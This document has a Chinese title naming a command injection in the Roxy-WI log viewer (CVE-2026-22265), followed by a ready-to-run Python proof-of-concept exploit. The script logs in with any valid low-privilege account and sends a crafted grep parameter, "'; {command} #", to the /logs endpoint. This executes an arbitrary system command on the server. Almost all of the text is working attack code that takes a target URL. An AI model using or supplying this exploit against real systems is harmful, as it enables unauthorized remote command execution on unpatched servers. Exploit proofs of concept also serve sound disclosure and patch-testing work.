CVE-2026-22265 Roxy-WI日志查看功能命令注入漏洞

#!/usr/bin/env python3 """ CVE-2026-22265 Roxy-WI Command Injection PoC Affected: Roxy-WI < 8.2.8.2 Reference: https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-mmmf-vh7m-rm47 """ import requests import sys from urllib.parse import quote def exploit_roxywi(target_url, username, password, command): """ Exploit CVE-2026-22265: Command injection in logs.py grep parameter Args: target_url: Base URL of Roxy-WI instance username: Valid user credentials (low privilege is sufficient) password: User password command: System command to execute """ session = requests.Session() # Step 1: Login to obtain session login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False # Step 2: Inject command via grep parameter in logs module # The vulnerability is in app/modules/roxywi/logs.py line 87 # grep parameter is used twice - once sanitized, once raw logs_url = f"{target_url}/logs" # Payload: escape sanitization and inject command # Using semicolon to chain commands, then comment out rest payload = f"'; {command} #" encoded_payload = quote(payload) exploit_data = { 'serv': '1', 'grep': encoded_payload, 'log': '/var/log/haproxy.log' } response = session.post(logs_url, data=exploit_data, timeout=10) if response.status_code == 200: print(f"[+] Command injection successful!") print(f"[*] Command executed: {command}") return True else: print(f"[-] Exploitation failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python3 cve-2026-22265.py <target_url> <username> <password> <command>") print("Example: python3 cve-2026-22265.py http://localhost:8080 admin password 'whoami'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] print(f"[*] Targeting: {target}") print(f"[*] Credentials: {user}:{pwd}") print(f"[*] Target command: {cmd}") exploit_roxywi(target, user, pwd, cmd)